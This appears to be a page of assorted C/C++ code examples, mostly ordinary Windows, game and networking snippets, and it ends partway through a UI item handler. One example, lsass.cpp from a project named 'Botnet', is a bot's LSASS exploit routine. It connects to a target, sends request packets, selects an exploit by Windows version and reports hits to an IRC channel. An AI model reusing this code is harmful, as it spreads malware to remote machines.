コード例 #1
0
//绘画界面
void CGameClientView::DrawGameView(CDC * pDC, int nWidth, int nHeight)
{
	//地震效果
	if(m_bFalsh)
	{
		CImageHandle ImageHandleBack(&m_ImageViewBack);
		int xValue=rand()%ROCK;
		int yValue=rand()%ROCK;
		if(xValue%2==0)xValue*=(-1);
		if(yValue%2==0)yValue*=(-1);
		m_ImageViewBack.AlphaDrawImage(pDC,(nWidth/2-512)+xValue,(nHeight/2-397)+yValue,
			m_ImageViewBack.GetWidth(),m_ImageViewBack.GetHeight(),0,0,RGB(255,0,255));
	}
	else 
	{
		CImageHandle ImageHandleBack(&m_ImageViewBack);
		m_ImageViewBack.AlphaDrawImage(pDC,(nWidth/2-512+6),(nHeight/2-383),
			m_ImageViewBack.GetWidth(),m_ImageViewBack.GetHeight(),0,0,RGB(255,0,255));

		//绘画背景
		//DrawViewImage(pDC,m_ImageViewCenter,enMode_Spread);//用于最大化窗口
		//DrawViewImage(pDC,m_ImageViewBack,enMode_Centent);
	}

	if(!m_bStopDraw)
	{
		//绘画用户
		for (WORD i=0;i<GAME_PLAYER;i++)
		{
			//变量定义
			WORD wUserTimer=GetUserTimer(i);
			const tagUserData * pUserData=GetUserInfo(i);

#ifdef _DEBUG
			////测试代码
			//tagUserData Obj;
			//Obj.cbGender = 1;
			//_sntprintf(Obj.szName,sizeof(Obj.szName),TEXT("用户的名字"));
			//Obj.cbUserStatus=US_READY;
			////Obj.wFaceID = 2;
			//pUserData = &Obj;

			////庄家标志
			//CImageHandle ImageHandleBanker(&m_ImageBanker);
			//m_ImageBanker.AlphaDrawImage(pDC,m_PointBanker[i].x,m_PointBanker[i].y,m_ImageBanker.GetWidth(),m_ImageBanker.GetHeight(),0,0,RGB(255,0,255));
#endif
			//绘画用户
			if (pUserData!=NULL)
			{
				//用户名字
				pDC->SetTextAlign(TA_CENTER);
				pDC->SetTextColor((wUserTimer>0)?RGB(250,250,250):RGB(220,220,220));
				DrawTextString(pDC,pUserData->szName,RGB(255,255,255),RGB(0,0,0),m_ptFace[i].x+15,m_ptFace[i].y+35);

				//用户金币
				TCHAR szBuffer[64]=TEXT("");
				__int64 lLeaveScore=pUserData->lScore-((m_ScoreView.IsWindowVisible()==TRUE)?(0):(m_lTableScore[i]));//;
				if(m_lStopUpdataScore[i]>0)lLeaveScore=m_lStopUpdataScore[i]-m_lTableScore[i];
				_snprintf(szBuffer,sizeof(szBuffer),TEXT("¥%ld"),lLeaveScore);
				DrawTextString(pDC,szBuffer,RGB(255,255,255),RGB(0,0,0),m_ptFace[i].x+10,m_ptFace[i].y+48);

				//其他信息
				//wUserTimer =1;
				if (wUserTimer!=0) 
				{
					if(m_CardControl[MY_SELF_CHAIRID].GetCardCount()==0)
						DrawUserTimer(pDC,m_ptFace[i].x+m_nXFace/2,m_ptTimer[i].y+90,wUserTimer);
					else DrawUserTimer(pDC,m_ptTimer[i].x,m_ptTimer[i].y,wUserTimer);
				}

				//准备标志
				if (pUserData->cbUserStatus==US_READY) 
				{
					DrawUserReady(pDC,m_ptReady[i].x,m_ptReady[i].y);
				}
				DrawUserFace(pDC,pUserData,m_ptFace[i].x,m_ptFace[i].y,pUserData->cbUserStatus==US_OFFLINE);
			}
		}

		//计算总注
		__int64 lTableScore=0L;
		for (WORD i=0;i<GAME_PLAYER;i++) 
			lTableScore+=m_lTableScore[i];

		//总注信息
		if (lTableScore>0L)
		{	
			CImageHandle ImageHandle3(&m_ImageNumber);
			int iCount=0;
			__int64 lCell[11];
			ZeroMemory(lCell,sizeof(lCell));
			while(lTableScore>0L)
			{
				__int64 lScore=lTableScore%10;
				lCell[iCount++] = lScore;
				lTableScore=lTableScore/10;
			}
			int iTemp=0;
			int iX=m_ImageNumber.GetWidth();
			for (int i=iCount-1;i>=0;i--)
			{
				m_ImageNumber.AlphaDrawImage(pDC,nWidth/2+39+(iX/10)*(iTemp++),nHeight/2-296,
					iX/10,m_ImageNumber.GetHeight(),iX/10*lCell[i],0,RGB(255,0,255));
			}
		}

		//庄家信息
		if (m_wBankerUser!=INVALID_CHAIR)
		{
			//庄家标志
			CImageHandle ImageHandleBanker(&m_ImageBanker);
			m_ImageBanker.AlphaDrawImage(pDC,m_PointBanker[m_wBankerUser].x,m_PointBanker[m_wBankerUser].y,m_ImageBanker.GetWidth(),m_ImageBanker.GetHeight(),0,0,RGB(255,0,255));
		}

		//不存在个数
		for (BYTE i=0;i<GAME_PLAYER;i++)	
		{
			//绘画判断
			//m_lCurrentScore[i] = 100000;
			if (m_lCurrentScore[i]==0L) continue;
			__int64 lTemp=m_lCurrentScore[i];
			LONG lTimes[]={10,20,50,100,200,500,1000,2000,5000,10000,20000,50000,100000,200000,500000};
			for (BYTE k=CountArray(lTimes)-1;;k--)
			{
				if(lTemp>=lTimes[k])
				{
					//绘画信息
					tagGoldMes tagTemp;
					tagTemp.lDrawCount = (lTemp/lTimes[k]);
					tagTemp.lGoldType = k;
					m_lDrawGold[i].Add(tagTemp);

					while((tagTemp.lDrawCount--)>0)
					{
						//随机位置
						int xTemp=rand();
						int yTemp=rand();
						int bRandX=nWidth/2-25+xTemp%60*((xTemp%2==0)?1:(-1));
						int bRandY=nHeight/2-70+yTemp%60*((yTemp%2==0)?1:(-1));

						//保存随机位置
						CPoint ptTemp;
						ptTemp.SetPoint(bRandX,bRandY);
						m_ptKeepJeton[i].Add(ptTemp);
					}

					lTemp%=lTimes[k];
					if(lTemp==0)break;
				}
			}
			m_lCurrentScore[i]=0L;
		}

		//绘画筹码
		for (BYTE i=0;i<GAME_PLAYER;i++)
		{
			//m_lTableScore[i] = 100000;
			if (m_lTableScore[i]==0L ) continue;
			CImageHandle HandleJeton(&m_ImageJeton);

			//固定位置输出
			int Count=0;
			for(int j=0;j<(m_lDrawGold[i].GetCount());j++)
			{
				LONG lDrawCount = m_lDrawGold[i].GetAt(j).lDrawCount;
				while((lDrawCount--)>0)
				{
					CPoint cpTemp=m_ptKeepJeton[i].GetAt(Count++);
					m_ImageJeton.AlphaDrawImage(pDC,cpTemp.x,cpTemp.y,m_ImageJeton.GetWidth()/15,
						m_ImageJeton.GetHeight(),m_ImageJeton.GetWidth()/15*(m_lDrawGold[i].GetAt(j).lGoldType),0,RGB(255,0,255));
					if(Count==100)break;
				}
				if(Count==100)break;
			}

			//绘画数目
			TCHAR szBuffer[64];
			_snprintf(szBuffer,CountArray(szBuffer),TEXT("$:%ld"),m_lTableScore[i]);

			//计算位置
			CRect rcDrawRect;
			rcDrawRect.top=m_CardControl[i].GetCardPos().y;
			rcDrawRect.left=m_CardControl[i].GetCardPos().x+((i>2)?(135):(-50));
			rcDrawRect.right=rcDrawRect.left+30;
			rcDrawRect.bottom=rcDrawRect.top+12;

			//创建字体
			CFont ViewFont;
			ViewFont.CreateFont(-14,0,0,0,700,0,0,0,134,3,2,1,2,TEXT("宋体"));

			//设置字体
			CFont * pOldFont=pDC->SelectObject(&ViewFont);

			//绘画数目
			pDC->SetTextAlign(TA_LEFT);
			pDC->SetTextColor(RGB(250,200,40));
			pDC->DrawText(szBuffer,lstrlen(szBuffer),&rcDrawRect,DT_CENTER|DT_VCENTER|DT_NOCLIP|DT_SINGLELINE);

			//清理字体
			pDC->SelectObject(pOldFont);
		}

		//绘画信息
		if(m_lCellScore>0)
		{
			//创建字体
			CFont ViewFont;
			ViewFont.CreateFont(-12,0,0,0,700,0,0,0,134,3,2,1,2,TEXT("宋体"));

			//设置字体
			CFont * pOldFont=pDC->SelectObject(&ViewFont);

			pDC->SetTextAlign(TA_LEFT);
			pDC->SetTextColor(RGB(0,0,0));

			//计算位置
			CRect rcDrawRect;

			//绘画数目
			TCHAR szBuffer[64];
			_snprintf(szBuffer,CountArray(szBuffer),TEXT("封顶:%ld"),m_lMaxCellScore);
			rcDrawRect.top=nHeight/2-338;
			rcDrawRect.left=nWidth/2-233;
			rcDrawRect.right=rcDrawRect.left+50;
			rcDrawRect.bottom=rcDrawRect.top+12;
			pDC->DrawText(szBuffer,lstrlen(szBuffer),&rcDrawRect,DT_CENTER|DT_VCENTER|DT_NOCLIP|DT_SINGLELINE);

			_snprintf(szBuffer,CountArray(szBuffer),TEXT("单注:%ld"),m_lCellScore);
			rcDrawRect.top=nHeight/2-318;
			rcDrawRect.left=nWidth/2-230;
			rcDrawRect.right=rcDrawRect.left+50;
			rcDrawRect.bottom=rcDrawRect.top+12;
			pDC->DrawText(szBuffer,lstrlen(szBuffer),&rcDrawRect,DT_CENTER|DT_VCENTER|DT_NOCLIP|DT_SINGLELINE);

			//清理字体
			pDC->SelectObject(pOldFont);		
		}

		//选比标志
		if(m_bCompareCard)
		{
			for (int i=0;i<GAME_PLAYER;i++)
			{
				if(m_bCompareUser[i]==TRUE)
				{
					CPoint cPost=m_CardControl[i].GetCardPos();
					CImageHandle ImageArrowhead(&m_ImageArrowhead);
					m_ImageArrowhead.AlphaDrawImage(pDC,cPost.x,cPost.y-m_ImageArrowhead.GetHeight(),
						m_ImageArrowhead.GetWidth(),m_ImageArrowhead.GetHeight(),0,0,RGB(255,0,255));
				}
			}
		}
	}

	//发牌绘画
	if (m_SendCardItemArray.GetCount()>0)
	{
		//变量定义
		CImageHandle HandleCard(&m_ImageCard);
		tagSendCardItem * pSendCardItem=&m_SendCardItemArray[0];

		//获取大小
		int nItemWidth=m_ImageCard.GetWidth()/13;
		int nItemHeight=m_ImageCard.GetHeight()/5;

		//绘画扑克
		int nXPos=m_SendCardPos.x-nItemWidth/2;
		int nYPos=m_SendCardPos.y-nItemHeight/2+10;
		m_ImageCard.AlphaDrawImage(pDC,nXPos,nYPos,nItemWidth,nItemHeight,nItemWidth*2,nItemHeight*4,RGB(255,0,255));
	}

	//比牌扑克
	if (m_wLoserUser!=INVALID_CHAIR)
	{
		//送牌状态
		if (m_wConmareIndex<m_wConmareCount)
		{
			//绘画扑克
			for (BYTE i=0;i<2;i++)
			{
				//变量定义
				CPoint PointCard;
				CPoint PointStart=m_ptUserCard[m_wCompareChairID[i]];

				//计算位置
				INT nQuotiety=(i==0)?-1:1;
				PointCard.y=PointStart.y+(m_ptUserCompare.y-PointStart.y)*m_wConmareIndex/m_wConmareCount;
				PointCard.x=PointStart.x+(m_ptUserCompare.x-PointStart.x+COMPARE_RADII*nQuotiety)*m_wConmareIndex/m_wConmareCount;

				//绘画扑克
				DrawCompareCard(pDC,PointCard.x,PointCard.y,false);
			}
		}

		//比牌状态
		if ((m_wConmareIndex>=m_wConmareCount)&&((m_wConmareIndex<m_wConmareCount+VSCARD_COUNT*VSCARD_TIME)))
		{
			//绘画扑克
			for (BYTE i=0;i<2;i++)
			{
				//变量定义
				CPoint PointCard;
				CPoint PointStart=m_ptUserCard[m_wCompareChairID[i]];

				//计算位置
				INT nQuotiety=(i==0)?-1:1;
				PointCard.y=m_ptUserCompare.y;
				PointCard.x=m_ptUserCompare.x+COMPARE_RADII*nQuotiety;

				//绘画扑克
				DrawCompareCard(pDC,PointCard.x,PointCard.y,false);
			}

			//比牌标志
			CSize SizeVSCard;
			CPngImage ImageVSCard;
			ImageVSCard.LoadImage(AfxGetInstanceHandle(),TEXT("VS_CARD"));
			SizeVSCard.SetSize(ImageVSCard.GetWidth()/VSCARD_COUNT,ImageVSCard.GetHeight());

			//绘画标志
			INT nImageIndex=(m_wConmareIndex-m_wConmareCount)%VSCARD_COUNT;
			ImageVSCard.DrawImage(pDC,m_ptUserCompare.x-SizeVSCard.cx/2,m_ptUserCompare.y-SizeVSCard.cy/2,
				SizeVSCard.cx,SizeVSCard.cy,nImageIndex*SizeVSCard.cx,0);

			//声音效果
			CGameClientDlg * pGameClientDlg=CONTAINING_RECORD(this,CGameClientDlg,m_GameClientView);
			pGameClientDlg->PlayGameSound(AfxGetInstanceHandle(),TEXT("COMPARE_CARD"));

		}

		//回牌状态
		if (m_wConmareIndex>=m_wConmareCount+VSCARD_COUNT*VSCARD_TIME)
		{
			//变量定义
			WORD wConmareIndex=m_wConmareIndex-m_wConmareCount-VSCARD_COUNT*VSCARD_TIME;

			//绘画扑克
			for (BYTE i=0;i<2;i++)
			{
				//变量定义
				CPoint PointCard;
				CPoint PointStart=m_ptUserCard[m_wCompareChairID[i]];

				//计算位置
				INT nQuotiety=(i==0)?-1:1;
				PointCard.y=m_ptUserCompare.y+(PointStart.y-m_ptUserCompare.y)*wConmareIndex/m_wConmareCount;
				PointCard.x=m_ptUserCompare.x+COMPARE_RADII*nQuotiety+(PointStart.x-m_ptUserCompare.x-COMPARE_RADII*nQuotiety)*wConmareIndex/m_wConmareCount;

				//绘画扑克
				DrawCompareCard(pDC,PointCard.x,PointCard.y,(m_wLoserUser==m_wCompareChairID[i])?true:false);
			}

			//声音效果
			if(m_wConmareIndex==m_wConmareCount+VSCARD_COUNT*VSCARD_TIME)
			{
				CGameClientDlg * pGameClientDlg=CONTAINING_RECORD(this,CGameClientDlg,m_GameClientView);
				pGameClientDlg->PlayGameSound(AfxGetInstanceHandle(),TEXT("CENTER_SEND_CARD"));
			}
		}
	}

	//等待选择
	if(m_wWaitUserChoice!=INVALID_CHAIR)
	{
		TCHAR szBuffer[64]=TEXT("");

		//创建字体
		CFont ViewFont;
		ViewFont.CreateFont(-15,0,0,0,700,0,0,0,134,3,2,1,2,TEXT("宋体"));

		//设置字体
		CFont * pOldFont=pDC->SelectObject(&ViewFont);
		pDC->SetTextAlign(TA_CENTER);

		//输出信息
		if(m_wWaitUserChoice==TRUE)_sntprintf(szBuffer,sizeof(szBuffer),TEXT("等待玩家选择比牌"));
		else _sntprintf(szBuffer,sizeof(szBuffer),TEXT("请选择玩家进行比牌"));
		DrawTextString(pDC,szBuffer,RGB(50,50,50),RGB(0,170,0),nWidth/2+10,nHeight/2+45);

		//清理字体
		pDC->SelectObject(pOldFont);
	}

	return;
}
コード例 #2
0
/*
	GetPlatformInfo()
*/
void CWindowsVersion::GetPlatformInfo(LPSTR pBuffer,int cbBuffer)
{
	CRegKey regkey;
	char key[REGKEY_MAX_KEY_NAME+1];
	char value[REGKEY_MAX_KEY_VALUE+1];
	int n = 0;

	n += _snprintf(pBuffer+n,cbBuffer-1-n,"%s - %s\r\n",m_szWindowsPlatform,m_szOsType);
	
	// NT
	if(m_OsVersionType==WINDOWS_NT || m_OsVersionType==WINDOWS_2000 || m_OsVersionType==WINDOWS_XP || m_OsVersionType==WINDOWS_VISTA || m_OsVersionType==WINDOWS_SEVEN)
	{
		regkey.Attach(HKEY_LOCAL_MACHINE);
		
		strcpyn(key,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",sizeof(key));
		if(regkey.Open(HKEY_LOCAL_MACHINE,key)==ERROR_SUCCESS)
		{
			DWORD dwSize;

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"CurrentBuildNumber",&dwSize)==ERROR_SUCCESS)
				n += _snprintf(pBuffer+n,cbBuffer-1-n,"build: %s\r\n",value);

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"CurrentType",&dwSize)==ERROR_SUCCESS)
				n += _snprintf(pBuffer+n,cbBuffer-1-n,"type: %s\r\n",value);

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"ProductId",&dwSize)==ERROR_SUCCESS)
				n += _snprintf(pBuffer+n,cbBuffer-1-n,"product id: %s\r\n",value);

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"RegisteredOrganization",&dwSize)==ERROR_SUCCESS)
				if(value[0]!='\0')
					n += _snprintf(pBuffer+n,cbBuffer-1-n,"registered to: %s\r\n",value);

			regkey.Close();
		}
		
		regkey.Detach();

		regkey.Attach(HKEY_LOCAL_MACHINE);
		
		strcpyn(key,"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0",sizeof(key));
		if(regkey.Open(HKEY_LOCAL_MACHINE,key)==ERROR_SUCCESS)
		{
			DWORD dwSize;

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"VendorIdentifier",&dwSize)==ERROR_SUCCESS)
				n += _snprintf(pBuffer+n,cbBuffer-1-n,"\r\nMain CPU:\r\n%s\r\n",value);

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"Identifier",&dwSize)==ERROR_SUCCESS)
				n += _snprintf(pBuffer+n,cbBuffer-1-n,"%s\r\n",value);

			DWORD dwValue = 0L;
			if(regkey.QueryValue(dwValue,"~MHz")==ERROR_SUCCESS)
				n += _snprintf(pBuffer+n,cbBuffer-1-n,"%ld Mhz\r\n",dwValue);

			regkey.Close();
		}
		
		regkey.Detach();
	}
	else // Cartoons
	{
		regkey.Attach(HKEY_LOCAL_MACHINE);
		
		strcpyn(key,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",sizeof(key));
		if(regkey.Open(HKEY_LOCAL_MACHINE,key)==ERROR_SUCCESS)
		{
			DWORD dwSize;

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"VersionNumber",&dwSize)==ERROR_SUCCESS)
				n += _snprintf(pBuffer+n,cbBuffer-1-n,"version number: %s\r\n",value);

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"ProductId",&dwSize)==ERROR_SUCCESS)
				n += _snprintf(pBuffer+n,cbBuffer-1-n,"product id: %s\r\n",value);

			dwSize = sizeof(value);
			memset(value,'\0',sizeof(value));
			if(regkey.QueryValue(value,"RegisteredOrganization",&dwSize)==ERROR_SUCCESS)
				if(value[0]!='\0')
					n += _snprintf(pBuffer+n,cbBuffer-1-n,"registered to: %s\r\n",value);

			regkey.Close();
		}
		
		regkey.Detach();
	}
}
コード例 #3
0
ファイル: stresstest.cpp プロジェクト: kennyb/php-broken
int main(int argc, char* argv[])
{
	LPVOID lpMsgBuf;
	char *filelist=NULL, *environment=NULL, *module=NULL;
	int c = NULL;
	while ((c=ap_getopt(argc, argv, OPTSTRING))!=-1) {
		switch (c) {
			case 'd':
				bUseTestFiles = TRUE;
				filelist = strdup(ap_optarg);
				break;
			case 'f':
				bUseTestFiles = FALSE;
				filelist = strdup(ap_optarg);
				break;
			case 'e':
				environment = strdup(ap_optarg);
				break;
			case 't':
				numThreads = atoi(ap_optarg);
				break;
			case 'i':
				iterations = atoi(ap_optarg);
				break;
			case 'm':
				module = strdup(ap_optarg);
				break;
			case 'h':
				_usage(argv[0]);
				exit(0);
				break;
		}
	}
	if (!module || !filelist) {
		_usage(argv[0]);
		exit(0);
	}

	GetTempPath(sizeof(temppath), temppath);
	hDll = LoadLibrary(module); // Load our DLL

	if (!hDll) {
		FormatMessage( 
		   FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
		    NULL,
		    GetLastError(),
		    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
		    (LPTSTR) &lpMsgBuf,
		    0,
		    NULL 
		);
		fprintf(stderr,"Error: Dll 'php5isapi.dll' not found -%d\n%s\n", GetLastError(), lpMsgBuf);
		free (module);
		free(filelist);
		LocalFree( lpMsgBuf );
		return -1;
	}

	//
	// Find the exported functions

	IsapiGetExtensionVersion = (VersionProc)GetProcAddress(hDll,"GetExtensionVersion");
	if (!IsapiGetExtensionVersion) {
		fprintf(stderr,"Can't Get Extension Version %d\n", GetLastError());
		free (module);
		free(filelist);
		return -1;
	}
	IsapiHttpExtensionProc = (HttpExtProc)GetProcAddress(hDll,"HttpExtensionProc");
	if (!IsapiHttpExtensionProc) {
		fprintf(stderr,"Can't Get Extension proc %d\n", GetLastError());
		free (module);
		free(filelist);
		return -1;
	}
	TerminateExtensionProc = (TerminateProc) GetProcAddress(hDll, 
                                          "TerminateExtension");

	// This should really check if the version information matches what we
	// expect.
	//
	if (!IsapiGetExtensionVersion(&version_info) ) {
		fprintf(stderr,"Fatal: GetExtensionVersion failed\n");
		free (module);
		free(filelist);
		return -1;
	}

	if (bUseTestFiles) {
		char TestPath[MAX_PATH];
		if (filelist != NULL) 
			_snprintf(TestPath, sizeof(TestPath)-1, "%s\\tests", filelist);
		else strcpy(TestPath, "tests");
		DoTestFiles(TestPath, environment);
	} else {
		DoFileList(filelist, environment);
	}

	// cleanup
	if (TerminateExtensionProc) TerminateExtensionProc(0);

	// We should really free memory (e.g., from GetEnv), but we'll be dead
	// soon enough

	FreeLibrary(hDll);
	free (module);
	free(filelist);
	return 0;
}
コード例 #4
0
ファイル: UpdateExeHead.cpp プロジェクト: jjiezheng/pap_full
//升级游戏版本
bool _updateGame(void)
{
	AXP::IUpdater* pUpdater = AXP::createUpdater();

	//读入升级包
	if(!pUpdater->addPatchFile(g_szPatchZip))
	{
		::SendDlgItemMessage(g_hMainWnd, IDC_STATIC_STATUS, WM_SETTEXT, 
			0, (LPARAM)"升级包资源错误");
		AXP::destroyUpdater(pUpdater);
		return false;
	}

	//得到需要更新的文件数
	g_nUpdateFileCount = pUpdater->getUpdateFile();
	::SendDlgItemMessage(g_hMainWnd, IDC_STATIC_STATUS, WM_SETTEXT, 
		0, (LPARAM)"准备开始升级");

	//设置标题
	char szTemp[MAX_PATH] = {0};
	_snprintf(szTemp, MAX_PATH, "《天龙八部》升级补丁[%s-%s]", 
		g_szVersionFrom, g_szVersionTo);
	::SendMessage(g_hMainWnd, WM_SETTEXT, 0, (LPARAM)szTemp);

	//准备进度条
	::SendMessage(g_hMainWnd, WM_MSG_SETPROGRESS, 0, 0);

	//等待用户确定
	::EnableWindow(::GetDlgItem(g_hMainWnd, IDOK), TRUE);
	::WaitForSingleObject(g_hBeginHandle, INFINITE);

	//如果游戏正在运行中
	if(checkIfGameRun(g_hMainWnd, true))
	{
		::SendDlgItemMessage(g_hMainWnd, IDC_STATIC_STATUS, WM_SETTEXT, 
			0, (LPARAM)"游戏客户端正在运行,在进行下面的操作前请关闭客户端!");
		AXP::destroyUpdater(pUpdater);
		return false;
	}

	//进入升级流程
	if(!(pUpdater->updateVersion(g_szGamePath, _updateCallBack)))
	{
		char szTemp[MAX_PATH] = {0};
		_snprintf(szTemp, MAX_PATH, "更新错误(code=%d,%s)", 
			AXP::getLastError(), AXP::getLastErrorDesc());
		::SendDlgItemMessage(g_hMainWnd, IDC_STATIC_STATUS, WM_SETTEXT, 0, (LPARAM)szTemp);
		AXP::destroyUpdater(pUpdater);
		return false;
	}

	AXP::destroyUpdater(pUpdater);
	pUpdater=0;

	//备份升级文件,供以后修复功能使用
	char szGamePatchFile[MAX_PATH];
	strncpy(szGamePatchFile, g_szGamePath, MAX_PATH);
	::PathAppend(szGamePatchFile, "Patch");
	::PathAppend(szGamePatchFile, ::PathFindFileName(g_szPatchZip));
	::DeleteFile(szGamePatchFile);
	::MoveFile(g_szPatchZip, szGamePatchFile);

	return true;
}
コード例 #5
0
ファイル: d3d9shader.cpp プロジェクト: RAOF/apitrace
void DumpShader(trace::Writer &writer, const DWORD *tokens)
{
    static BOOL firsttime = TRUE;

    /*
     * TODO: Consider using d3dcompile_xx.dll per
     * http://msdn.microsoft.com/en-us/library/windows/desktop/ee663275.aspx
     */

    static HMODULE hD3DXModule = NULL;
    static PD3DXDISASSEMBLESHADER pfnD3DXDisassembleShader = NULL;

    if (firsttime) {
        if (!hD3DXModule) {
            unsigned release;
            int version;
            for (release = 0; release <= 1; ++release) {
                /* Version 41 corresponds to Mar 2009 version of DirectX Runtime / SDK */
                for (version = 41; version >= 0; --version) {
                    char filename[256];
                    _snprintf(filename, sizeof(filename),
                              "d3dx9%s%s%u.dll", release ? "" : "d", version ? "_" : "", version);
                    hD3DXModule = LoadLibraryA(filename);
                    if (hD3DXModule)
                        goto found;
                }
            }
found:
            ;
        }

        if (hD3DXModule) {
            if (!pfnD3DXDisassembleShader) {
                pfnD3DXDisassembleShader = (PD3DXDISASSEMBLESHADER)GetProcAddress(hD3DXModule, "D3DXDisassembleShader");
            }
        }

        firsttime = FALSE;
    }

    LPD3DXBUFFER pDisassembly = NULL;
    HRESULT hr = E_FAIL;

    if (pfnD3DXDisassembleShader) {
        hr = pfnD3DXDisassembleShader(tokens, FALSE, NULL, &pDisassembly);
    }

    if (SUCCEEDED(hr)) {
        writer.beginRepr();
        writer.writeString((const char *)pDisassembly->GetBufferPointer(), pDisassembly->GetBufferSize());
    }

    writer.writeBlob(tokens, _shaderSize(tokens));

    if (pDisassembly) {
        pDisassembly->Release();
    }
    
    if (SUCCEEDED(hr)) {
        writer.endRepr();
    }
}
コード例 #6
0
int
tcp_connect_addr_socket_nonblocking(struct addrinfo* addr, socket_t fdSock,
    char *szErrbuf, size_t nErrbufSize, int nTimeout)
{
  int r, err, val;
  socklen_t errlen = sizeof(int);

  val = 1;
  ioctlsocket(fdSock, FIONBIO, &val);

  r = connect(fdSock, addr->ai_addr, addr->ai_addrlen);

  if(r == -1) {
    if(WSAGetLastError() == EINPROGRESS ||
       WSAGetLastError() == EAGAIN) {
      fd_set fd_write, fd_except;
      struct timeval tv;

      tv.tv_sec  =         nTimeout / 1000;
      tv.tv_usec = 1000 * (nTimeout % 1000);

      FD_ZERO(&fd_write);
      FD_ZERO(&fd_except);

      FD_SET(fdSock, &fd_write);
      FD_SET(fdSock, &fd_except);

      r = select((int)fdSock+1, NULL, &fd_write, &fd_except, &tv);

      if(r == 0) {
        /* Timeout */
        _snprintf(szErrbuf, nErrbufSize, "Connection attempt timed out");
        tcp_close(fdSock);
        return SOCKET_ERROR;
      }

      if(r == -1) {
        _snprintf(szErrbuf, nErrbufSize, "select() error: %s", strerror(WSAGetLastError()));
        tcp_close(fdSock);
        return SOCKET_ERROR;
      }

      getsockopt(fdSock, SOL_SOCKET, SO_ERROR, (void *)&err, &errlen);
    } else {
      err = WSAGetLastError();
    }
  } else {
    err = 0;
  }

  if(err != 0) {
    _snprintf(szErrbuf, nErrbufSize, "%s", strerror(err));
    tcp_close(fdSock);
    return SOCKET_ERROR;
  }

  val = 0;
  ioctlsocket(fdSock, FIONBIO, &val);

  val = 1;
  setsockopt(fdSock, IPPROTO_TCP, TCP_NODELAY, (const char*)&val, sizeof(val));

  return 0;
}
コード例 #7
0
ファイル: lsass.cpp プロジェクト: A-Massarella/Botnet
BOOL lsass(EXINFO exinfo)
  {

	    int len;
		char buffer[IRCLINE];
		SOCKET sockfd;
 		int dport = brandom(1900, 48000);
		BOOL success = FALSE;
        char recvbuf[1600];
		SOCKADDR_IN their_addr;
		memset(&their_addr, 0, sizeof(their_addr));

		{

			their_addr.sin_family = AF_INET;
			their_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);

			/* ^ Server's address */
			their_addr.sin_port = fhtons((unsigned short)exinfo.port);

			/* connect to the server */

      if ((sockfd = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
        return FALSE;
      if (fconnect(sockfd, (LPSOCKADDR)&their_addr, sizeof(their_addr)) == SOCKET_ERROR)
        return FALSE;
      if (fsend(sockfd, req1, sizeof(req1)-1, 0) == -1)
        return FALSE;
      len = frecv(sockfd, recvbuf, 1600, 0);

      if (fsend(sockfd, req2, sizeof(req2)-1, 0) == -1)
        return FALSE;
      len = frecv(sockfd, recvbuf, 1600, 0);

      if (fsend(sockfd, req3, sizeof(req3)-1, 0) == -1)
        return FALSE;
      len = frecv(sockfd, recvbuf, 1600, 0);


       switch (recvbuf[68]) {

         case '1': // win XP
			if (Exploit2( exinfo, sockfd, 0 ))
				success = TRUE;
			break;

         case '0': //win 2k
			 if (!Exploit2( exinfo, sockfd, 2 )) {
				if (Exploit2( exinfo, sockfd, 1))
					success = TRUE;
			 } else {
				 success = TRUE; }
            break;

         default:
           return FALSE;
       }
    }
    fclosesocket(sockfd);
	if (success) {
		_snprintf(buffer, sizeof(buffer), "Trying Exploit: %s (%s)", exinfo.ip, exploit[exinfo.exploit].name);
		irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
		addlog(buffer);
		exploit[exinfo.exploit].stats++;
	}
	return TRUE;

  }
コード例 #8
0
ファイル: item.cpp プロジェクト: 1suming/pap2
LRESULT KItemNull::WndProc(UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    float const fX = (float)(GET_X_LPARAM(lParam));
    float const fY = (float)(GET_Y_LPARAM(lParam));
    switch (uMsg)
    {
    case WM_LBUTTONDOWN:
        if (PtInItem(fX, fY))
        {
            if (KDebugConfig::ms_aBoolFlag[KDebugConfig::BOOL_SELECT_WINDOW_IN_CLIENT])
				g_pUI->m_EditorMgr.UIEditorOperation(PLUGIN_UI_EDITOR_SEL_WND, (WPARAM)m_szItemName, 0);

            if (KDebugConfig::ms_aBoolFlag[KDebugConfig::BOOL_RESIZE_WND_AND_ITEM_MODE] &&
                (fX > m_fAbsX + m_fWidth - 2 * KDebugConfig::ms_nResizeWindowHandleNodeHalfSize) &&
                (fY > m_fAbsY + m_fHeight - 2 * KDebugConfig::ms_nResizeWindowHandleNodeHalfSize))
            {
                KItemEditModeMgr::GetSelf().SetEditMode(EDIT_RESIZE_MODE);
            }
            else
            {
                KItemEditModeMgr::GetSelf().SetEditMode(EDIT_DRAG_MODE);
            }
            KItemEditModeMgr::GetSelf().SetCurrentEditItem(this);
            KItemEditModeMgr::GetSelf().SetDragStartPos(fX, fY);
            return TRUE;
        }
        break;
    case WM_MOUSEMOVE:
        if (wParam & MK_LBUTTON)
        {
            float fLastX;
            float fLastY;
            KItemEditModeMgr::GetSelf().GetFragStartPos(fLastX, fLastY);
            if (KItemEditModeMgr::GetSelf().GetEditMode() == EDIT_DRAG_MODE)
                AbsMove(fX - fLastX, fY - fLastY);
